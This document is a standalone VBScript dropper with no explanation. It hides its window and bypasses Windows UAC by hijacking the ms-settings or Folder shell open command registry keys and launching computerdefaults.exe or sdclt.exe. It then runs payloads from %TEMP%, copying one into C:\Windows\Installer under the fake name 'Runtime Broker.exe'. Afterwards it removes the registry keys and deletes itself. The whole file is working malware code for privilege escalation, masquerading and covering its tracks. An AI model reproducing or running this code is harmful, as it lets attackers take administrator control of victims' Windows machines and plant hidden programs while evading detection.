Option Explicit
Dim W,F
Set W=CreateObject("WScript.Shell")
Set F=CreateObject("Scripting.FileSystemObject")

If InStr(1,WScript.FullName,"wscript.exe",1)=0 Then
    W.Run "wscript.exe //nologo """ & WScript.ScriptFullName & """",0,False
    WScript.Quit
End If

Function Q(s)
    Q=Chr(34)&s&Chr(34)
End Function

If WScript.Arguments.Count>0 Then
    If WScript.Arguments(0)="run" Then
        RunHigh
    Else
        RunLow
    End If
Else
    RunLow
End If

Sub RunLow()
    On Error Resume Next
    Dim tmp1,tmp2,sf,sd,up,rk,cm
    tmp1=W.ExpandEnvironmentStrings("%TEMP%")&"\1.exe"
    tmp2=W.ExpandEnvironmentStrings("%TEMP%")&"\2.exe"
    sf=WScript.ScriptFullName

    If Not F.FileExists(tmp1) And Not F.FileExists(tmp2) Then
        WScript.Quit
    End If

    sd=W.ExpandEnvironmentStrings("%windir%")&"\System32\"
    If F.FileExists(sd&"computerdefaults.exe") Then
        up="computerdefaults.exe"
        rk="HKCU\Software\Classes\ms-settings\Shell\Open\command\"
    ElseIf F.FileExists(sd&"sdclt.exe") Then
        up="sdclt.exe"
        rk="HKCU\Software\Classes\Folder\shell\open\command\"
    Else
        WScript.Quit
    End If

    cm="wscript.exe " & Q(sf) & " run"
    W.RegWrite rk,cm,"REG_SZ"
    W.RegWrite rk&"DelegateExecute","","REG_SZ"
    W.Run Q(sd&up),0,False
    W.Sleep 5000
End Sub

Sub RunHigh()
    On Error Resume Next
    Dim tmp1,tmp2,installDir,exe2Installed,sf
    tmp1=W.ExpandEnvironmentStrings("%TEMP%")&"\1.exe"
    tmp2=W.ExpandEnvironmentStrings("%TEMP%")&"\2.exe"
    installDir="C:\Windows\Installer\"
    exe2Installed=installDir&"Runtime Broker.exe"
    sf=WScript.ScriptFullName

    If F.FileExists(tmp1) Then W.Run Q(tmp1),7,False
    If F.FileExists(tmp2) Then
        F.CopyFile tmp2,exe2Installed,True
        If F.FileExists(exe2Installed) Then W.Run Q(exe2Installed),7,False
    End If

    W.RegDelete "HKCU\Software\Classes\ms-settings\Shell\Open\command\"
    W.RegDelete "HKCU\Software\Classes\Folder\shell\open\command\"

    W.Run "cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q " & Q(sf),0,False
End Sub